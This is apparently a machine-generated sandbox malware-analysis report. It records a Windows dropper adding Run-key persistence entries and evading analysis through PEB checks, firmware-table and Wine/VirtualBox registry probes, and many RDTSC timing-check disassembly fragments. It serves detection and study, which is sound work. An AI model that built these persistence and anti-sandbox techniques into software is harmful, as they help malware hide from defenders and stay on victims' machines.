Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 5936bfa4af.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 1ba4718074.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 1ba4718074.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 408fbd4e57.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 408fbd4e57.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 9e7a844ab2.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 9e7a844ab2.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run dfe1c8ec1f.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run dfe1c8ec1f.exe	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019552001\EUCyhuW.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1019557001\SurveillanceWalls.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1019557001\SurveillanceWalls.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1019557001\SurveillanceWalls.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1019557001\SurveillanceWalls.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1019557001\SurveillanceWalls.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1019557001\SurveillanceWalls.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1019557001\SurveillanceWalls.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1019557001\SurveillanceWalls.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1019557001\SurveillanceWalls.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1019557001\SurveillanceWalls.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1019557001\SurveillanceWalls.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1019557001\SurveillanceWalls.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\tasklist.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\tasklist.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\370821\Sale.com	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\370821\Sale.com	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\370821\Sale.com	Process information set: FAILCRITICALERRORS \| NOALIGNMENTFAULTEXCEPT \| NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\370821\Sale.com	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1019595001\412ec13ac5.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1019596001\580c9354ec.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1019598001\51ecf08926.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1019598001\51ecf08926.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1019599001\5936bfa4af.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1019599001\5936bfa4af.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1019599001\5936bfa4af.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1019599001\5936bfa4af.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1019599001\5936bfa4af.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1019599001\5936bfa4af.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1019599001\5936bfa4af.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1019599001\5936bfa4af.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1019599001\5936bfa4af.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1019599001\5936bfa4af.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1019599001\5936bfa4af.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1019599001\5936bfa4af.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1019599001\5936bfa4af.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1019599001\5936bfa4af.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1019599001\5936bfa4af.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1019599001\5936bfa4af.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1019598001\51ecf08926.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1019598001\51ecf08926.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Found evasive API chain (may stop execution after reading information in the PEB, e.g. number of processors)

Source: C:\Users\user\Desktop\file.exe	Evasive API call chain: GetPEB, DecisionNodes, ExitProcess			graph_0-11395
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Evasive API call chain: GetPEB, DecisionNodes, ExitProcess			graph_2-9705

Query firmware table information (likely to detect VMs)

Source: C:\Users\user\AppData\Local\Temp\1019552001\EUCyhuW.exe	System information queried: FirmwareTableInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\370821\Sale.com	System information queried: FirmwareTableInformation
Source: C:\Users\user\AppData\Local\Temp\1019595001\412ec13ac5.exe	System information queried: FirmwareTableInformation
Source: C:\Users\user\AppData\Local\Temp\1019596001\580c9354ec.exe	System information queried: FirmwareTableInformation

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019596001\580c9354ec.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1019596001\580c9354ec.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1019597001\9f6ea82062.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1019597001\9f6ea82062.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1019597001\9f6ea82062.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1019597001\9f6ea82062.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1019599001\5936bfa4af.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1019599001\5936bfa4af.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 108779D second address: 10877A4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 109F2D3 second address: 109F2D7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 109F2D7 second address: 109F2F0 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F8F4CECCCE6h 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pop ebx 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 popad 0x00000013 jg 00007F8F4CECCCE6h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 109F2F0 second address: 109F30A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8F4C50240Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jnp 00007F8F4C50240Ch 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 109F5EE second address: 109F5F8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 109F5F8 second address: 109F607 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 jl 00007F8F4C502406h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 109F76A second address: 109F770 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 109F770 second address: 109F774 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 109F774 second address: 109F778 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 109F778 second address: 109F784 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push edi 0x00000009 pop edi 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 109F784 second address: 109F788 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 109FA5F second address: 109FA97 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007F8F4C502417h 0x0000000b popad 0x0000000c push esi 0x0000000d jnl 00007F8F4C502406h 0x00000013 pop esi 0x00000014 popad 0x00000015 pushad 0x00000016 push edi 0x00000017 jnl 00007F8F4C502406h 0x0000001d pop edi 0x0000001e push eax 0x0000001f push edx 0x00000020 jo 00007F8F4C502406h 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 109FA97 second address: 109FA9B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 109FBDE second address: 109FBE4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 109FBE4 second address: 109FBE8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 109FBE8 second address: 109FBF4 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 jnc 00007F8F4C502406h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10A17F2 second address: 10A17F8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10A17F8 second address: 10A17FC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10A17FC second address: 10A18C1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jnp 00007F8F4CECCCF9h 0x0000000f jmp 00007F8F4CECCCF3h 0x00000014 mov eax, dword ptr [esp+04h] 0x00000018 push esi 0x00000019 jmp 00007F8F4CECCCF9h 0x0000001e pop esi 0x0000001f mov eax, dword ptr [eax] 0x00000021 push ecx 0x00000022 push eax 0x00000023 push esi 0x00000024 pop esi 0x00000025 pop eax 0x00000026 pop ecx 0x00000027 mov dword ptr [esp+04h], eax 0x0000002b push ebx 0x0000002c pushad 0x0000002d jmp 00007F8F4CECCCF8h 0x00000032 js 00007F8F4CECCCE6h 0x00000038 popad 0x00000039 pop ebx 0x0000003a pop eax 0x0000003b mov dx, 72DBh 0x0000003f and ecx, dword ptr [ebp+122D2CEDh] 0x00000045 lea ebx, dword ptr [ebp+12456477h] 0x0000004b jmp 00007F8F4CECCCEDh 0x00000050 xchg eax, ebx 0x00000051 jbe 00007F8F4CECCCECh 0x00000057 push eax 0x00000058 push eax 0x00000059 push edx 0x0000005a pushad 0x0000005b jmp 00007F8F4CECCCF5h 0x00000060 jmp 00007F8F4CECCCF1h 0x00000065 popad 0x00000066 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10A18C1 second address: 10A18CB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnp 00007F8F4C502406h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10A18F8 second address: 10A18FC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10A18FC second address: 10A191A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jnc 00007F8F4C50240Ch 0x0000000c popad 0x0000000d push eax 0x0000000e push eax 0x0000000f push edx 0x00000010 jne 00007F8F4C502408h 0x00000016 pushad 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10A191A second address: 10A1951 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8F4CECCCEBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a mov dword ptr [ebp+122D2F75h], edx 0x00000010 push 00000000h 0x00000012 cmc 0x00000013 call 00007F8F4CECCCE9h 0x00000018 jp 00007F8F4CECCCEEh 0x0000001e push eax 0x0000001f pushad 0x00000020 pushad 0x00000021 push ebx 0x00000022 pop ebx 0x00000023 push eax 0x00000024 push edx 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10A1951 second address: 10A1982 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007F8F4C50240Eh 0x0000000a popad 0x0000000b mov eax, dword ptr [esp+04h] 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 pushad 0x00000013 popad 0x00000014 jmp 00007F8F4C502413h 0x00000019 popad 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10A1982 second address: 10A19A6 instructions: 0x00000000 rdtsc 0x00000002 je 00007F8F4CECCCE8h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov eax, dword ptr [eax] 0x0000000c push eax 0x0000000d push edx 0x0000000e push ecx 0x0000000f jmp 00007F8F4CECCCF2h 0x00000014 pop ecx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10A19A6 second address: 10A19B0 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F8F4C50240Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10A19B0 second address: 10A19C0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov dword ptr [esp+04h], eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10A19C0 second address: 10A19C6 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10A19C6 second address: 10A1A42 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pushad 0x00000004 popad 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop eax 0x00000009 mov dword ptr [ebp+122D3611h], edi 0x0000000f push 00000003h 0x00000011 jmp 00007F8F4CECCCEDh 0x00000016 push 00000000h 0x00000018 call 00007F8F4CECCCF8h 0x0000001d jne 00007F8F4CECCCECh 0x00000023 xor ecx, 5EAD6C00h 0x00000029 pop edi 0x0000002a jmp 00007F8F4CECCCEEh 0x0000002f push 00000003h 0x00000031 jmp 00007F8F4CECCCF9h 0x00000036 push 73BBFCF5h 0x0000003b push eax 0x0000003c push eax 0x0000003d push edx 0x0000003e jl 00007F8F4CECCCE6h 0x00000044 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10A1A42 second address: 10A1A7D instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 add dword ptr [esp], 4C44030Bh 0x0000000e mov dword ptr [ebp+122D1E61h], eax 0x00000014 lea ebx, dword ptr [ebp+12456482h] 0x0000001a jp 00007F8F4C50240Ch 0x00000020 push eax 0x00000021 pushad 0x00000022 push eax 0x00000023 push edx 0x00000024 jmp 00007F8F4C502411h 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B3EB4 second address: 10B3EDA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push ebx 0x00000006 jmp 00007F8F4CECCCF4h 0x0000000b pop ebx 0x0000000c popad 0x0000000d push eax 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 js 00007F8F4CECCCE6h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10C3E4D second address: 10C3E51 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10C3E51 second address: 10C3E67 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007F8F4CECCCE6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jng 00007F8F4CECCCE6h 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10C3E67 second address: 10C3E6B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10C3E6B second address: 10C3E6F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1084154 second address: 108416B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pushad 0x00000008 pushad 0x00000009 je 00007F8F4C502406h 0x0000000f jl 00007F8F4C502406h 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10C1D14 second address: 10C1D1C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 push edx 0x00000007 pop edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10C1D1C second address: 10C1D20 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
